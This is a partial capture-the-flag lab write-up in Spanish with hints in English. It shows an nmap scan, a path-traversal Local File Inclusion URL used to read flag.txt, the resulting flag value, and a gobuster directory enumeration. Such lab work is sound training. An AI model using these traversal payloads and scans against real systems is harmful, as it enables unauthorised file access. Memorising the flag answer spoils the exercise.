Pistas

1. Sometimes, important files are hidden in plain sight. Check the root ('/') directory for a file named 'flag.txt' that might hold the key to the first flag.
2. Explore the structure of the server's directories. Enumeration might reveal hidden treasures.
3. The login form seems a bit weak. Trying out different combinations might just reveal the next flag.
4. The login form behaves oddly with unexpected inputs. Think of injection techniques to access the 'admin' account and find the flag.

Empezamos con un escaneo para ver que puertos hay abiertos:

nmap -sSV target.ine.local

Vemos que podemos ver 4 archivos en la web, la ruta es: http://192.196.107.3/view_file?file=file1.txt

La pista dice que esta en la raíz a si que probamos manualmente un Local File Inclusion :

http://192.196.107.3/view_file?file=../../../../../../flag.txt

Flag 1: FLAG1_7163ec3e80644de4bbf0f4106042afb3

La segunda pista habla sobre enumerar directorios, a si que usaremos gobuster

gobuster dir -u <http://target.ine.local> -w /usr/share/wordlists/dirb/common.txt

Vemos un directorio interesante llamado secured a si que vamos al navegador a ver que hay ahi.